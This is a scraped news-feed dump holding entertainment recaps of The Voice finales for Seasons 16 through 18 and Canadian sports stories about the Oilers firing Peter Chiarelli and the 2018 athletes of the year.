John Legend, “Theme From Cheers” | During a Happy Hour segment — goblets up, y’all! — the VEGOTSMA winner treated us to a goofy, tuneful version of “Where Everybody Knows Your Name” that tweaked the lyrics to reflect Season 18’s strange, strange circumstances.

Jonas Brothers Feat. Karol G, “X” | First of all, cool graphics — dancing cell phones! Second of all, hotness! The odds of resisting this earworm were about as bad as the odds of resisting an offer to refill your wine goblet. (Or is that just me? Er, and Kelly?)

the-voice-recap-todd-tilghman-wins-finale-top-5-resultsDuet With Coach
Todd Tilghman and Blake Shelton, “Authority Song” — Todd’s Grade: A | Maybe it’s just the goblet talking, but I think I actually preferred Todd’s raspy vocal to his superstar coach’s on their rollicking John Cougar Mellencamp team-up. At this point, I may not even be mad if Todd beats Thunderstorm. Well, not too mad, anyway. I mean, the guy’s good!

John Legend, “Conversations in the Dark/All of Me” | Giving an impromptu remote mini-concert to members of the staff of St. Francis Medical Center, John sounded like… well, his surname. No surprise there, eh? Wonder, though, why the doctors and nurses couldn’t have had seats for the performance. Hadn’t they been on their feet enough?

Lady Antebellum, “Champagne Night” | Technically, it’s a red-wine night. Nonetheless, the country stars packed a lotta fizz into their Songland-hatched hit and delivered a performance that felt like nothing quite so much as a fun hang.

the-voice-recap-todd-tilghman-wins-finale-top-5-resultsDuet With Coach
Thunderstorm Artis and Nick Jonas, “You’ll Be in My Heart” — Thunderstorm’s Grade: B | Hmm… creative as it might have been to dramatically rearrange Phil Collins’ Tarzan theme song, it didn’t actually serve Thunderstorm terribly well. His husky voice wound up getting a bit drowned out by the rhythm section.

Blake Shelton and Gwen Stefani, “Nobody But You” | I guess I should expect that two vocalists as talented as these lovebirds would sound terrific together. But I was still taken aback anew by this reminder that although he’s a little bit lotta country, she’s a little bit rock-’n’-roll, they pair like peanut butter and chocolate. (Again, though, why did the food-bank staff for whom they were singing have to stand?)

the-voice-recap-todd-tilghman-wins-finale-top-5-resultsDuet With Coach
CammWess and John Legend, “Rocketman” — CammWess’ Grade: A- | Ooo, from the first note, I was like, “Now this is the CammWess that could’ve won the show!” His vocal was so rich, it could’ve been freaking icing! And he demonstrated better control than he had Monday night — or perhaps he just stuck closer to Elton John’s melody than he had Prince’s on “Purple Rain.” In any case, this sent me into orbit. (See what I did there?)

Kelly Clarkson, “I Dare You” | Credit where it’s due: Kelly’s new single sounded powerful in all six of the languages in which she sang it. When she was done, Carson Daly cracked, “I got a C+ in Spanish; you showed us all up there.” Hey, Carson made an actual joke!

the-voice-recap-todd-tilghman-wins-finale-top-5-resultsDuet With Coach
Toneisha Harris and Blake Shelton, “Don’t Stop” — Toneisha’s Grade: A | Seriously — is there anything that Toneisha can’t sing gorgeously? Here, her powerful pipes barreled through Fleetwood Mac’s golden oldie like a freight train through a tunnel. And to be clear, a freight train that sounded sublime, not just, like, you know, a train. I only wish her original single had had this much energy.

the-voice-recap-todd-tilghman-wins-finale-top-5-resultsDuet With Coach
Micah Iverson and Kelly Clarkson, “I Run to You” — Micah’s Grade: B+ | Micah kicked off the number with a note that called to mind Chris Isaak — where’d he been hiding that all season long?!? As his and Kelly’s Lady Antebellum cover went on, he sometimes faded like a pleasant background singer for his coach. But when you could hear him, his performance was actually among his strongest of the season. Maybe country-pop should’ve been his lane all along.

A Whole Buncha Familiar Faces, “What the World Needs Now Is Love” | Recent and not-so-recent contestants including Kevin Farris, Lauren Duski, Jacob Maxwell, Alexa Cappelli, Jake Hoot, Mike Jerel, Ricky Duran and Britton Buchanan joined forces on a rendition of the beloved ballad that was made about 1,000 times more perfect by the adorableness of Kevin’s music-class moppets.

Nick Jonas, “Until We Meet Again” | If anyone didn’t know before that the new coach on the block has a falsetto for the ages, they do now. Soulful as hell.

Bon Jovi, “Limitless” | Holy crap, how long has it been since I’ve seen Jon Bon Jovi? He’s as gray as Meryl Streep in The Devil Wears Prada! In unrelated matters, if the guys’ new single isn’t on a soundtrack, it oughta be; it was made for a montage.

And in the moment(s) of truth…

Fifth Place
Micah Iverson (Team Kelly)

Fourth Place
CammWess (Team Legend)

Runners-Up
Thunderstorm Artis (Team Nick) and Toneisha Harris (Team Blake)

Season 18 Winner
Todd Tilghman (Team Blake)

So, are you satisfied with the outcome? Surprised? Sound off in the comments below after grading the season as a whole.

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]]> https://briefnews.eu/the-voice-finale-results-show-recap-spoilers-named-season-18s-winner/feed/ 0 The Voice Finale Recap: [Spoiler] Is Named the Winner of Season 17 https://briefnews.eu/the-voice-finale-recap-spoiler-is-named-the-winner-of-season-17/ https://briefnews.eu/the-voice-finale-recap-spoiler-is-named-the-winner-of-season-17/#respond Wed, 18 Dec 2019 04:09:31 +0000 http://briefnews.eu/the-voice-finale-recap-spoiler-is-named-the-winner-of-season-17/

RELATED STORIES

Tuesday night’s Season 17 finale of The Voice was a rarity in that there was no outcome that was going to incite us to throw things at the TV (as I did when Addison Agen didn’t win Season 13 and Kennedy Holmes didn’t win Season 15 — luckily for my TV, my aim is lousy). We generally like, if not love, all four finalists this go-’round.

Based on Monday’s TVLine poll, Team John Legend’s human showstopper Katie Kadan had the edge. But based on iTunes, Team Kelly Clarkson’s Jake Hoot was probably in the lead (all three of his Finals numbers made the Top 10). And John correctly predicted that Team Blake Shelton’s Ricky Duran would have the highest-charting original song of the night.

As for Team Gwen Stefani’s Rose Short — oh, my dear, sweet Rose — none of her songs cracked the Top 10. Before we found out who actually won the title, there were, of course, probing Carson Daly questions along the lines of “Would you rather win or lose tonight?” and about 104 performances. Let’s discuss, shall we?

the-voice-recap-jake-hoot-wins-season-17-finaleAlex Guthrie, Will Breman, Max Boyle and Shane Q, “Gimme Some Lovin’” | This was a fun, energetic way to kick off the show — and at least Will and Alex sounded really good. The key didn’t seem to suit Max — every note felt like a strain. But Shane, though he was never gonna be a favorite of mine, was better than he’d been in the weeks leading up to his elimination; maybe without the pressure of the competition, he was able to cut loose again.

Lady Antebellum, “What If I Never Get Over You” | Watching Charles Kelley at the start of the group’s performance, all I could think was, “That — that’s the stage presence that I keep wanting from Jake Hoot!” Undoubtedly, it’s something that Jake or any artist could develop over time. Charles was just so casually cool, and though he didn’t move around a ton, he wasn’t static, either. Also, the song was freaking gorgeous. Those harmonies — da-amn!

the-voice-recap-jake-hoot-wins-season-17-finaleThe Black Eyed Peas and J Balvin, “RITMO (Bad Boys for Life)” | Hmm. Well, this was entertaining for two reasons: 1. the dance troupe that performed like a Lite-Brite with ADHD, and 2. the song’s “Rhythm of the Night” refrain (thanks, Corona). “They always do the best performances,” Carson Daly told us afterwards. Thanks. Thanks for that, Carson.

Katie Kadan (Team Legend) and Adam Lambert, “Believe” — Katie’s Grade: A- | Oo, this promised to be amazing. The American Idol alum sang first with the pitch-perfectness that makes him a superstar. Katie followed, singing with uncharacteristic restraint — which was admirable. But for me, she didn’t really come alive on Adam’s Cher cover until she got to the big parts that are more her stock in trade. In the end, she was, as we’ve come to expect, terrific (especially on the huge note that the two of them did together toward the end).

the-voice-recap-jake-hoot-wins-season-17-finaleRose Short (Team Gwen) and Yolanda Adams, “In the Midst of It All” — Rose’s Grade: A | Go, Rose! The Grammy winner was, predictably, flawless, and our blossoming Rose managed to match her. Then… aw, crap. There was a long stretch where she was just left to stand there and watch as Yolanda showed off. As a result, Rose wound up seeming more like a backup singer than a real duet partner. When Yolanda yelled “Rooose!” after they were done, I half-expected her to keep going with the thought. “Rooose… I’m so sorry I didn’t let you sing more!” At least what we did get of Rose was amazing.

Cali Wilson, Kat Hammock, Gracee Shriver and Marybeth Byrd, “Neon Moon” | Though the foursome never really gelled, this was pretty good. Gracee in particular impressed me — maybe she wanted to make super sure we were reminded that she’d been cut too soon? (I woulda!) Cali was back to sounding like the contender she’d once been, Kat’s breathy voice worked on the number (despite the fact that it was the softest of the bunch), and Marybeth gave a last glimpse — or whatever the audio version of a glimpse is — of her potential.

the-voice-recap-jake-hoot-wins-season-17-finaleDua Lipa, “Don’t Start Now” | This was catchy and all, very Kylie Minogue (which is always a good thing), but what really sold the performance for me was the discoriffic choreography and especially the roller skaters. Any performance that gives me Xanadu flashbacks is a winner in my book.

Ricky Duran (Team Blake) and Gary Clark Jr., “Pearl Cadillac” — Ricky’s Grade: A | Performing with one of his idols, Ricky at first just seemed like a backing guitarist/vocalist. I could barely even hear him next to Gary’s amazing falsetto. When Ricky got the spotlight, s—! I didn’t know he could sing that high. Maybe that was why I hadn’t heard him when he’d begun singing (and it hadn’t been that his mic was turned way down) — he was actually matching Gary note for note. This was stunning.

the-voice-recap-jake-hoot-wins-season-17-finaleMaelyn Jarmon, “Have Yourself a Merry Little Christmas” | Oh, Maelyn! Remember how delightful Season 16 was as it became more and more like The Maelyn Show; she was just perfect every time at bat. She was here, too. Her vocal was as warm as chestnuts roasting on an open fire. I wouldn’t be surprised if, even as Grinchy as I am, I’d have visions of sugar plums dancing in my head when I crash later.

Jake Hoot (Team Kelly) and Little Big Town, “Over Drinking” — Jake’s Grade: A | Good for Jake! He more than held his own with the country legends and sounded like just one of the gang. Plus, bless his heart, he tried to move a little bit. It’ll happen, big guy — eventually. Probably. Maybe.

the-voice-recap-jake-hoot-wins-season-17-finaleJennifer Hudson, “Memory” | Well, no version of the Cats classic is ever gonna top Betty Buckley’s for me — it’s iconic. But there’s no denying the beauty and dynamism of JHud’s rendition, either. Lord, does the sometime Voice coach have a set of pipes! And her performance was saturated with emotion that was as moving as the gorgeousness of her vocal.

Hello Sunday, Myracle Holloway and Joana Martinez, “You Keep Me Hangin’ On” | From the start, this team-up was gelling better than the other two had. And the Supremes classic was made for Myracle — she sounded here like someone who should’ve been in the Final Four. The youngsters were fine but mostly just looked like they were having a blast.

the-voice-recap-jake-hoot-wins-season-17-finaleLuke Combs, “Even Though I’m Leaving” | For some reason, my TV malfunctioned at the start of the CMA winner’s performance — the color went out, and suddenly, I was watching in B&W. Then, about halfway through, he pulled a Wizard of Oz and switched to color. (No munchkins in sight, though.) It bears mentioning that, as much as I might have remarked on Jake’s tendency to stand stock-still on stage, Luke did the same thing, and it doesn’t seem to have held him back any.

And in the moment(s) of truth…

Fourth Place
Rose Short (Team Gwen) — sigh; did I really say I wouldn’t throw anything at the TV?

Third Place
Katie Kadan (Team Legend) — double sigh; gimme something else to throw, dammit!

Runner-Up
Ricky Duran (Team Blake)

Season 17 Winner
Jake Hoot (Team Kelly) — the one-chair-turn did it!

So, your reaction to the rankings? Grade the finale in the poll below, then let loose in the comments.

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]]> https://briefnews.eu/the-voice-finale-recap-spoiler-is-named-the-winner-of-season-17/feed/ 0 The Voice Season 16 Finale Recap: Was the Right Singer Named the Winner? https://briefnews.eu/the-voice-season-16-finale-recap-was-the-right-singer-named-the-winner/ https://briefnews.eu/the-voice-season-16-finale-recap-was-the-right-singer-named-the-winner/#respond Wed, 22 May 2019 08:58:16 +0000 http://briefnews.eu/the-voice-season-16-finale-recap-was-the-right-singer-named-the-winner/ Maelyn Jarmon or Dexter Roberts, Dexter Roberts or Maelyn Jarmon. Ahead of Tuesday’s Season 16 finale of The Voice, that was the pair that it felt like it had all come down to.

the-voice-recap-maelyn-jarmon-wins-season-16-finaleMy heart was with Team Legend’s Maelyn. Since as far back as the Blind Auditions, she’d given one beautiful performance after another (after another after another). And her rendition of “Hallelujah” Monday had actually made me cry — and I never cry when recapping. Well, unless the Internet cuts out right as I’m trying to post the story!

That said, Team Blake’s Dexter performed exceptionally well Monday, had arguably the best of the original singles and came to the show with a built-in following leftover from his stint on American Idol. What’s more, the country vote seems to be huge. Maybe even huge enough to score him the win despite viewers throwing some of their votes to his teammates?

That remained to be seen as we sat down to find out the results. If TVLine’s poll Monday was any indication, nah, the country vote wouldn’t be big enough to steal victory away from Maelyn. (Last I checked, she had nearly triple the number of votes as Dexter; Team Blake’s Gyth Rigdon and Andrew Sevener didn’t even have 10 percent of the votes if we added their tallies together!)

Before we found out who won Season 16, of course, we had a whole rollicking show to get through. After a cute, silly introduction in which the coaches’ dogs hung out (and were voiced by the all-stars themselves) The Secret Life of Pets 2 style, it went a little something like this…

the-voice-recap-maelyn-jarmon-wins-season-16-finaleAndrew Sevener (Team Blake) and Travis Tritt, “T-R-O-U-B-L-E” — Andrew’s grade: C | I’ll admit Andrew might have been better on his duet with his idol than I realized. But I just couldn’t tell, because both his and Travis’ vocals were set too far back in the mix; the raucous guitars kinda drowned them out. Hope Andrew had fun, anyway, this being his dream matchup and all.

The Jonas Brothers, “Cool” | The JBs’ new single was as summery as suntan lotion — and damn, Nick reached those high notes so easily, it was like he was grabbing them off a low shelf — but I couldn’t say that I liked this as much as his solo material or Joe’s DNCE stuff. Guess I just prefer my cake by the ocean. Or cake, period?

Khalid, “Talk” | What I found most interesting about this performance by Team Legend’s Battles mentor was just watching him be swag in sorta slow motion. The song, I didn’t think I’d remember five minutes after it was over. And yes, I’m fully aware that I now sound like your grandpa, and I don’t like it any more than you do.

Mari and Kim Cherry, “Good as Hell” | Aw, this was the part of the show where they started teasing us with reminders of the diverse talent pool that got left behind by this cockamamie season. Mari and Kim’s Lizzo cover was nothing to write home about, but it led into…

the-voice-recap-maelyn-jarmon-wins-season-16-finaleDomenic Haynes, Shawn Sounds, LB Crew, Kalvin Jarvis and Jej Vinson, “My Prerogative” | Actually, this wasn’t good, either. It felt… flat. So mostly, all it did was re-annoy me that Shawn hadn’t made it to the Finals. The rest of ’em, eh, in the end, I could take ’em or leave ’em.

OneRepublic, “Rescue Me” | Here in Voice recapland, you and I often gripe about mumbly singers, right? So you had to be impressed, didn’t you, by Ryan Tedder’s rapid-fire enunciation at the start of his new single? He lost it as the number built, but at least at first I understood every word. Cool song, too — my favorite thus far. (Though I’m probably partial to alt-pop… )

Hootie & the Blowfish, “Let Her Cry” | At this point, I’ve ceased to be embarrassed by how much I learn watching Voice finales. A coupla seasons ago, one introduced me to Janelle Monae’s “Make Me Feel,” which I played on a loop for an entire summer. I found out I was a Charlie Puth fan watching a Voice finale, too. And this season’s revelation: Hootie’s still around and still sounding good. #themoreyouknow

the-voice-recap-maelyn-jarmon-wins-season-16-finaleMaelyn Jarmon (Team Legend) and Sarah McLachlan, “Angel” — Maelyn’s grade: A | Whoa — now this was a match made in pop heaven. Sarah sounded just preposterously divine, and her voice blended beautifully with Maelyn’s. If I had any quibble with their duet, it would only be that Maelyn didn’t get enough solo bits to suit me.

BTS, “Boy With Luv” | Crap, I felt another grandpa moment coming on when the K-pop supergroup hit the stage. Like, was this good? Isn’t it just modern bubblegum — KC and the Sunshine Band, only mostly in Korean? Loved the choreography, at least. Hadn’t seen footwork that fancy since Kennedy Holmes was robbed of the title in Season 15’s finale.

the-voice-recap-maelyn-jarmon-wins-season-16-finaleDexter Roberts (Team Blake) and Toby Keith, “That’s Country, Bro” — Dexter’s grade: A | It’s probably country-music sacrilege to admit it, but I liked Dexter better on Toby’s hit than I did Toby himself. Dexter seemed to more sing the song, whereas Toby a lot of the time kinda talk-sang it. Plus, Dexter’s a lotta fun now that he’s come out of his shell on stage. He was serving personality the likes of which we haven’t seen since Shawn Sounds was eliminated.

Halsey, “Nightmare” | After her performance in the Season 15 finale, I was really looking forward to seeing Halsey on stage again. She doesn’t just sing, she puts on a freakin’ show. This was a full-on production number — a crowd of gyrating dancers bouncing off of one another while Halsey rocked out like Billie Eilish on steroids. Adding this to my must-download list…

the-voice-recap-maelyn-jarmon-wins-season-16-finalePresley Tennant, Lisa Ramey, Betsy Ade and Celia Babini, “The Edge of Seventeen” | Dang. I really wanted to love the numbers that brought back contestants we liked and lost, but they kept being duds. Here, the foursome’s voices just didn’t gel, so the most entertaining thing about their performance was the variety of red and black outfits that the wardrobe department put together for them.

Gyth Rigdon (Team Blake) and Hootie and the Blowfish, “Hold My Hand” — Gyth’s grade: B- | When Carson Daly announced this match-up, I thought, “That’s just mean — why do they keep having Gyth sing with guys who have bigger, richer voices than he does?” But I’ll be damned, he held his own. Maybe in part it was just knowing that the competition was over. He looked and sounded loose, relaxed, like he was just kicking back and having fun. His voice still pales in comparison overall to Dexter and Andrew’s, but Gyth’s enthusiasm was contagious.

Taylor Swift feat. Brendon Urie, “Me” | I thought La Swift was sounding pretty great until Brendan joined her on stage, then it was like oo, what’s this! His voice tore through the wall of sound like a wrecking ball. And he’s just such a showman, jeez. I’ve seen fidget spinners that don’t move as smoothly as he does. Fun way to round out the night’s performances.

When at last we got to the results, it was…

Fourth Place
Andrew Sevener (Team Blake) — wait, Gyth bested Andrew? On what planet?!?

Third Place
Dexter Roberts (Team Blake) — whoa, whoa, whoa, Gyth bested Andrew and Dexter?!? Does. Not. Compute.

Second Place
Gyth Rigdon (Team Blake) — whew! I was scared there for a whole commercial break!

The Voice Season 16 Winner
Maelyn Jarmon (Team Legend)

So, your reaction to the results? Your thoughts on the season? Vote in the polls below, then hit the comments.

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]]> https://briefnews.eu/the-voice-season-16-finale-recap-was-the-right-singer-named-the-winner/feed/ 0 Oilers fire maligned Peter Chiarelli; Keith Gretzky named interim GM https://briefnews.eu/oilers-fire-maligned-peter-chiarelli-keith-gretzky-named-interim-gm/ https://briefnews.eu/oilers-fire-maligned-peter-chiarelli-keith-gretzky-named-interim-gm/#respond Wed, 23 Jan 2019 17:37:07 +0000 http://briefnews.eu/oilers-fire-maligned-peter-chiarelli-keith-gretzky-named-interim-gm/

Peter Chiarelli has been fired as general manager of the Edmonton Oilers and replaced on an interim basis by Keith Gretzky, who was previously Chiarelli's assistant. 

Bob Nicholson, CEO and vice-chair of Oilers Entertainment Group, said at Tuesday's news conference that the decision to cut Chiarelli loose was made prior to Tuesday night's 3-2 loss — Edmonton's third in a row on home ice — to the last-place Detroit Red Wings.

Edmonton's ninth defeat in the past 11 at Rogers Place pushed the team three points out of playoff position. Sure, the Oilers are only three points behind Colorado for the second wild-card spot in the NHL's Western Conference but there are three teams ahead of them in Vancouver, Anaheim and Arizona.

"We're not going to outskill anyone. We're a team that needs to find a way to win games 2-1, 3-2," captain Connor McDavid told reporters on Monday.

Chiareilli, who departs with one season left on his five-year contract, arrived in Edmonton in August 2015 after guiding the Boston Bruins to the Stanley Cup Final in 2011. But he didn't witness a drastic improvement in play during his tenure as the Oilers missed the post-season twice in his first three seasons.

They lost in the second round in 2017 following a 47-win, 103-point regular season.

WATCH | Oilers drop 3rd straight at home, leading to Chiarelli's firing:

A 2-goal performance from Luke Glendening, including a soft insurance marker midway through the 3rd period, was the difference as Detroit beat Edmonton 3-2 on Tuesday night. 0:22

Questionable moves

In late November, he fired head coach Todd McLellan during a 1-6-0 slide and brought in Ken Hitchcock. Following an initial 8-2-1 surge, Edmonton has faded in recent weeks.

Chiarelli, a native of Nepean, Ont., guided the Boston Bruins to the Stanley Cup in 2011.

A series of moves by Chiarelli didn't complement a top-heavy roster, led by Leon Draisaitl and fellow centre McDavid.

Chiarelli's trades with Oilers

  • June 26, 2015: Acquired defenceman Griffin Reinhart from the New York Islanders for Pittsburgh's first-round pick and Edmonton's second-rounder in 2015 draft. Reinhart had one point in 29 games for the Oilers in 2015-16 and was selected by Vegas in the 2017 expansion draft. The first-round pick (16th overall), turned out to be centre Mathew Barzal, who had 85 points last season. The 21-year-old has 45 points in 49 starts this season through Tuesday.
  • June 27, 2015:Picked up goalie Cam Talbot from the New York Rangers for a third-, fifth- and seventh-round pick. Neither of the players drafted by the Rangers has appeared in an NHL game.
  • June 29, 2016:Taylor Hall dealt to Devils for Adam Larsson: Perhaps Chiarelli's most notorious blunder. Drafted fourth overall in 2011, Larsson has yet to reach 20 points in any of his three seasons with Edmonton while Hall was the 2018 Hart Trophy recipient (NHL MVP) after scoring 39 goals and 93 points in the 2017-18 campaign.
  • June 22, 2017: Jordan Eberle traded to Islanders for Ryan Strome: A cost-cutting move by Chiarelli, who watched Strome play 100 games (36 points) before moving him to the New York Rangers two months ago for fellow forward Ryan Spooner. Earlier this week, Spooner cleared waivers and has been largely ineffective in an Oilers sweater. Eberle had 59 points last season on Long Island and has 23 points in 45 contests this year.

Marginal gains on special teams

"I'm certainly not absolving myself of any responsibility on the player personnel [side]," Chiarelli said in November. "This is a collective thing and it's our job to get to the playoffs. We owe it to our fans."

Hitchcock inherited an Oilers outfit that has scored fewer goals than it has allowed (57-66) and is having its troubles on special teams as the power play ranks 15th (20.6 per cent success rate) in the 31-team NHL while the penalty kill is 27th (74.2 per cent).

WATCH | Oilers even having problems with their Zamboni:

When their Zamboni broke down before the game, the Edmonton Oilers ice crew gave it a push. 0:35

Edmonton has either slipped or improved slightly in those areas, with a minus-18 goal differential while sitting 11th of 31 clubs on the power play (21.1 per cent) and 25th on the penalty kill (77.3 per cent) through Tuesday.

Also, pending unrestricted free-agent goalie Cam Talbot has lost his starting job to Mikko Koskinen, whom Chiarelli was allowed to re-sign to a three-year, $ 13.5 million US deal less than 36 hours before he was fired.

Koskinen, a 30-year-old with four games of NHL experience in 2010-11 prior to this season, will have an average salary cap hit of $ 4.5 million, or nearly double his current one year hit of $ 2.5 million.

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]]> https://briefnews.eu/oilers-fire-maligned-peter-chiarelli-keith-gretzky-named-interim-gm/feed/ 0 Mikael Kingsbury keeps adding hardware, named CP male athlete of the year https://briefnews.eu/mikael-kingsbury-keeps-adding-hardware-named-cp-male-athlete-of-the-year/ https://briefnews.eu/mikael-kingsbury-keeps-adding-hardware-named-cp-male-athlete-of-the-year/#respond Thu, 27 Dec 2018 17:33:58 +0000 http://briefnews.eu/mikael-kingsbury-keeps-adding-hardware-named-cp-male-athlete-of-the-year/

Mikael Kingsbury never had so much to lose as on Feb. 12, when he hit the track at the Phoenix Snow Park. As the odds-on favourite in the men's moguls event at the Pyeongchang Olympics, the 26-year-old ski star was well aware that only a victory would meet expectations.

Going second-last in the super final, Kingsbury rose to the occasion. In full control, he nailed a perfect descent that earned him the one title that had eluded him: Olympic champion.

"I was in the position where it was gold or nothing," the athlete from Deux-Montagnes, Que. said of his second Olympic experience.

"For those who follow my sport, even a second place would have been considered a poor performance. Yes, there was pressure but, at the top of the course, I had a really good feeling. And when that's the case, I have confidence and that's always a good sign."

Kingsbury's dream year earns him the Lionel Conacher Award from The Canadian Press as Canada's male athlete of the year.

The Quebec skier was chosen by 30 of the 56 sportswriters and commentators from newsrooms across the country.

He beat out Edmonton Oilers centre Connor McDavid (12 votes), who won the Art Ross Trophy as the NHL's top scorer as well as the Ted Lindsay Award for outstanding player as selected by his peers.

Next on the list was soccer phenom Alphonso Davies with five votes, double Olympic speed skating medallist Ted-Jan Bloeman (3), para-skier Brian McKeever (3), New Jersey Devils winger Taylor Hall (2), and Ottawa Redblacks receiver Brad Sinopoli (1).

"I could have chosen McDavid, as we chose [Sidney] Crosby at one time, but Kingsbury's gold was one of the strongest moments of the Korean games, leading into performances by other Canadian athletes," wrote Le Quotidien's Denis Bouchard.

"No other Canadian athlete dominates their sport as outrageously as Mikael Kingsbury," wrote Jean-Francois Begin of La Presse.

Watch Kingsbury win his 50th World Cup moguls title:

The Deux-Montagnes, Que., skier opened the season by winning his 50th career moguls World Cup title in Ruka, Finland on Friday. 0:44

While Olympic gold was undoubtedly the highlight of his year, Kingsbury continued to dominate the World Cup circuit with seven victories in 10 starts, including three in a row to end the 2017-18 season.

He won two Crystal Globes at the end of the last World Cup season as overall men's freestyle points leader and overall men's moguls leader.

Kingsbury becomes the first skier to win the Lionel Conacher Award, which is named after the multi-sport champion chosen as the top athlete of the first half of the 20th century in 1950.

Golfer Brooke Henderson was awarded the Bobbie Rosenfeld Award as female athlete of the year on Wednesday for the third time. The sports team of the year will be named on Friday.

Earlier this month Kingsbury was also awarded the Toronto Star's Lou Marsh Award for top Canadian athlete.

"It's crazy to have had this much success," Kingsbury said. "It's an almost perfect season. My worst 2018 result was a second place."

"Compared to other sports, like tennis, it's as if I won all the Grand Slam finals."

Nobody in moguls like Mikael

Kingsbury dominates his sport.

In January 2018 Kingsbury set a new record for World Cup wins with his 47th victory. He has 52 victories in 93 starts.

"I kind of feel like I have an aura around me. Without saying I intimidate the other competitors due to my repeated success, I have a great confidence in my abilities, I make few errors and that lets me find little advantages over them," he said.

"But I know I have a big target on my back and they all want to beat me. I've been first in the world for seven years, and every year there are those who say, 'Kingsbury, we're going to push him aside.' It makes the competition even more interesting."

And even if he's won everything, don't expect him to relinquish his throne. Kingsbury says there's still plenty to motivate him.

"I love to win and I still want to win, but my motivation isn't necessarily found in results," he said. "I'm aiming above all to reach my full potential, to innovate in my sport, to try new jumps. I want to see how far I can go."

"While perfection doesn't exist in my sport, my goal is to get as close as possible to it and to push the limits, in speed as well as the execution of my jumps."

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]]> https://briefnews.eu/mikael-kingsbury-keeps-adding-hardware-named-cp-male-athlete-of-the-year/feed/ 0 Tessa Virtue, Scott Moir named CBC Sports Canadian Athletes of the Year https://briefnews.eu/tessa-virtue-scott-moir-named-cbc-sports-canadian-athletes-of-the-year-2/ https://briefnews.eu/tessa-virtue-scott-moir-named-cbc-sports-canadian-athletes-of-the-year-2/#respond Fri, 21 Dec 2018 00:22:08 +0000 http://briefnews.eu/tessa-virtue-scott-moir-named-cbc-sports-canadian-athletes-of-the-year-2/

Everything that can be said about Tessa Virtue and Scott Moir pretty much has already been said — and deservedly so.

The iconic ice dancers who enthralled Canadians for years concluded their illustrious careers with not one, but two gold medals at the 2018 Winter Olympics in Pyeongchang, South Korea.

The subsequent celebrations and farewell tour gave their many admirers one last chance to see Tessa and Scott — their fans always call them by their first names — and to reflect on a partnership that has spanned two decades.

Now it's our turn. Naming Tessa and Scott the CBC Sports Canadian Athletes of the Year gives us another opportunity to celebrate their accomplishments and to relive a moment that captivated an entire nation in 2018.

Take a look back at Tessa and Scott's 2018:

Tessa Virtue and Scott Moir's free program from the 2018 Winter Olympics in Pyeongchang. 9:07

It could have all ended much differently at the Gangneung Ice Arena.

Tessa and Scott entered the free dance with an incredibly slim lead over France's Gabriella Papadakis and Guillaume Cizeron, despite breaking their own record score in the short dance the night before.

That, plus two American pairs within striking distance, left every conceivable outcome in play — from gold to missing the podium outright. Things only became more tense when Gabriella Papadakis and Guillaume Cizeron, skating before Virtue and Moir and seemingly unfazed by a costume malfunction that marred their short dance the day before, set a new world record in the free program.

The French team's performance, set to Beethoven's Moonlight Sonata, mesmerized the judges, who gave them the highest overall score ever.

In that moment, the chance of a golden send-off for Tessa and Scott seemed to be slipping away. To eclipse their French training partners — how's that for additional intrigue? — they would need to surpass their previous personal best in the free skate and shatter a freshly minted world record.

No matter what, it would still be a fine farewell for the venerated Canadians, who had won a team-event gold in Pyeongchang to go along with their ice dance title from Vancouver in 2010 and a pair of silvers from Sochi. Tessa and Scott took the ice as fans around the world watched in quiet anticipation. That silence would not last long.

Watch Tessa and Scott's full free dance:

A look back on the final Olympic Games for Canadian figure skating legends Tessa Virtue and Scott Moir. 5:46

The Moulin Rouge free routine was a perfect fit — a dance exuding the raw passion the duo became famous for.

As the spectacle unfolded on the ice, any feelings of doubt or uncertainty among their fans gave way, replaced with a sense of awe and an appreciation for what was happening.

The intimacy Tessa and Scott brought to that final routine made it seem as if everyone had a front-row seat to their performance — from those watching in their Ontario hometowns of London and Ilderton, respectively, to Canadians nationwide and fans glued to their screens at home or at viewing parties.

When the final note sounded, a roar erupted from the crowd in South Korea as the two embraced on the ice. The final scores came shortly after — Tessa and Scott would cap off their Olympic careers with gold around their necks and a new overall world record.

Watch highlights from Tessa and Scott's farewell Olympics:

Scott Russell, host of CBC Sports' Road to the Olympic Games, joined Heather Hiscox to discuss CBC Sports' choice for the Canadian Athletes of the Year. 6:16

The year 2018 was filled with remarkable performances by Canadians, and Tessa and Scott were far from the only ones considered for our Athletes of the Year.

Golfer Brooke Henderson, with her entire career still ahead of her, secured her place in the pantheon of great Canadian athletes by becoming the first woman in 45 years to capture the national title — against an immensely talented field of competitors, no less, at the CP Women's Open.

Figure skater Kaetlyn Osmond, another member of the Canadian squad who won Olympic team gold, went toe to toe with a pair of Russian titans to capture women's bronze in Pyeongchang and later followed it up with a world championship crown.

Watch Scott Russell and Heather Hiscox discuss this year's award:

A look back at Tessa Virtue and Scott Moir's figure skating legacy, set to Jim Cuddy's "Pull Me Through".​ 4:32​

On the subject of royalty, 2018 Lou Marsh Trophy winner Mikael Kingsbury captured a long-coveted Olympic moguls gold to go along with a pair of Crystal Globes from the World Cup circuit and is showing no signs of slowing down. He recently surpassed 50 career World Cup wins and has kept adding to his haul since then.

These impressive feats emphasize the elite company that Tessa and Scott found themselves in this year. Their final free skate will be remembered fondly as a moment that transcended sports and made Canadians feel united, however briefly, by the grace and power of two of their finest champions.

Take a look back at Tessa and Scott's career together:

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]]> https://briefnews.eu/tessa-virtue-scott-moir-named-cbc-sports-canadian-athletes-of-the-year-2/feed/ 0 Tessa Virtue, Scott Moir named CBC Sports Canadian Athletes of the Year https://briefnews.eu/tessa-virtue-scott-moir-named-cbc-sports-canadian-athletes-of-the-year/ https://briefnews.eu/tessa-virtue-scott-moir-named-cbc-sports-canadian-athletes-of-the-year/#respond Thu, 20 Dec 2018 11:38:35 +0000 http://briefnews.eu/tessa-virtue-scott-moir-named-cbc-sports-canadian-athletes-of-the-year/

Everything that can be said about Tessa Virtue and Scott Moir pretty much has already been said — and deservedly so.

The iconic ice dancers who enthralled Canadians for years concluded their illustrious careers with not one, but two gold medals at the 2018 Winter Olympics in Pyeongchang, South Korea.

The subsequent celebrations and farewell tour gave their many admirers one last chance to see Tessa and Scott — their fans always call them by their first names — and to reflect on a partnership that has spanned two decades.

Now it's our turn. Naming Tessa and Scott the CBC Sports Canadian Athletes of the Year gives us another opportunity to celebrate their accomplishments and to relive a moment that captivated an entire nation in 2018.

Take a look back at Tessa and Scott's career together:

A look back at Tessa Virtue and Scott Moir's figure skating legacy, set to Jim Cuddy's "Pull Me Through".​ 4:32

It could have all ended much differently at the Gangneung Ice Arena.

